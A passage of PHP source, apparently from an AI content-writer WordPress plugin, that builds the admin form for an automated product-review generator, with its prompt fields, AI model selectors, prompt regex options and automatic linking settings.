to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Intro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">' . esc_textarea($intro_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Intro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[topic_intro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_intro_model)) { $topic_intro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_intro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the review post main sections. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Sections Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[sections_prompt][]" placeholder="Enter your sections prompts, one per line" class="cr_width_full">' . esc_textarea($sections_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the sections generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Sections Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[topic_sections_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_sections_model)) { $topic_sections_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_sections_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%current_section%%, %%article_so_far%%, %%last_section_content%%, %%product_title%%, %%product_description%%, %%language%%, %%all_product_titles%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%sections%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Content Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="3" cols="70" name="aiomatic_review_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">' . esc_textarea($content_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Content Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[topic_content_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_content_model)) { $topic_content_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_content_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Customer Reviews Analysis section. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Customer Reviews Analysis Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[reviews_prompt][]" placeholder="Enter your Customer Reviews Analysis prompts, one per line" class="cr_width_full">' . esc_textarea($reviews_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the Customer Reviews Analysis generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Customer Reviews Analysis Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[topic_reviews_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_reviews_model)) { $topic_reviews_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_reviews_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Pros & Cons section. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Pros & Cons Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[proscons_prompt][]" placeholder="Enter your Pros & Cons prompts, one per line" class="cr_width_full">' . esc_textarea($proscons_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the Pros & Cons generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Pros & Cons Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[topic_proscons_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_proscons_model)) { $topic_proscons_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_proscons_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Q&A. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Q&A Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">' . esc_textarea($qa_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Q&A Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[topic_qa_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_qa_model)) { $topic_qa_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_qa_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post outro. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">' . esc_textarea($outro_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Outro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[topic_outro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_outro_model)) { $topic_outro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_outro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Excerpt Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[excerpt_prompt][]" placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">' . esc_textarea($excerpt_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Excerpt Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_review_list[topic_excerpt_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_excerpt_model)) { $topic_excerpt_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_excerpt_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td colspan="2"><h4>' . esc_html__('Advanced Prompting Options', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_review_list[strip_by_regex_prompts][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex_prompts) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content from prompts, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Prompts)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_review_list[replace_regex_prompts][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex_prompts) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, reviews, proscons, qa, outro, excerpt", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Above Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="run_regex_on' . esc_html($cont) . '" name="aiomatic_review_list[run_regex_on][]" type="text" list="run_regex_on_list' . esc_html($cont) . '" class="coderevolution_gutenberg_input" value="' . esc_attr($run_regex_on) . '"/> <datalist id="run_regex_on_list' . esc_html($cont) . '"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Global Prompt Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Prepend Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full">' . esc_textarea($global_prepend) . '</textarea> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Append Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_review_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full">' . esc_textarea($global_append) . '</textarea> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Automatic Linking Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Automatic Linking Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="link_type' . esc_html($cont) . '" onchange="hideLinks(' . esc_html($cont) . ');" name="aiomatic_review_list[link_type][]"> <option value="disabled"'; if ($link_type == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="internal"'; if ($link_type == 'internal') { $output .= ' selected'; } $output .= '>' . esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="manual"'; if ($link_type == 'manual') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="mixed"'; if ($link_type == 'mixed') { $output .= ' selected'; } $output .= '>' . esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Number Of Automatic Links To Add To The Post Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_review_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full" value="' . esc_attr($max_links) . '"> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Manual List Of URLs (One Per Line)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" cols="70" name="aiomatic_review_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full">' . esc_textarea($link_list) . '</textarea> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Nofollow Attribute To Manual Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" name="aiomatic_review_list[link_nofollow][]"'; if($link_nofollow == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Types Where To Generate Automatic Links", 